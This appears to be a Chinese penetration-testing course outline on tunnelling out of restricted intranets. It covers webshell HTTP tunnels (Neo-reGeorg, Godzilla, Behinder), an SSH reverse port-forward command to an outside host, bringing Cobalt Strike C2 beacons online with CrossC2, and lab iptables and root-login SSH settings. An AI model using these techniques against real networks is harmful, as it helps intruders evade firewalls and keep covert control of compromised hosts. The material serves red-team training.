内网对抗-隧道技术篇&防火墙组策略&HTTP反向&SSH转发&出网穿透&CrossC2&解决方案
➢ C2上线-多平台系统-CrossC2项目
➢ 隧道技术-SSH转发-出站限制&信息收集
➢ 隧道技术-HTTP反向-出站限制&信息收集&上线
#HTTP隧道搭建内网穿透:(解决目标出站限制做信息收集)
-项目Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg
1、设置密码生成(aspx|ashx|jsp|jspx|php)并上传
2、使用neoreg.py连接WEB服务器,在本地建立连接
3、Proxifier添加socks5服务器并配置连接规则测试
同类推荐项目:
https://github.com/zema1/suo5
https://github.com/nccgroup/ABPTTS
-哥斯拉&冰蝎
哥斯拉:HttpProxy
冰蝎:内网穿透
#HTTP隧道搭建上线C2:(解决目标出站限制上线C2)
太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,
无法直接与公网的CS/MSF/Sliverd等其他C2服务端建立连接。
1、内网穿透建立HTTP隧道穿透
2、将远程IP正向后门端口转发本地端口
3、CS生成绑定正向后门,连接本地端口
#SSH隧道搭建内网穿透:(解决目标出站限制做信息收集)
注:由于CS无SSH协议监听器配置,无法上线
1、环境复现搭建:
如:模拟Linux为被控机,配置防火墙策略
iptables -F /* 清除所有规则 */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /*保存配置*/
iptables -L /* 显示iptables列表 */
如:模拟Windows为被控机,配置防火墙策略:SSH 22端口放行
自己的服务器记得开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
2、适用场景:
内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透(使用 SSH 建立反向隧道(remote port forwarding))
3、需要条件:(解决目标出站限制)
被控主机需支持SSH协议(Windows需要安装支持软件)
将2.22上80端口流量转发到xx.xx上的1234端口
ssh -CfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx
curL http://127.0.0.1:1234
#控制上线-插件-Linux&Mac&IOS&Android
https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考:
https://gloxec.github.io/CrossC2/zh_cn/
目前版本只支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成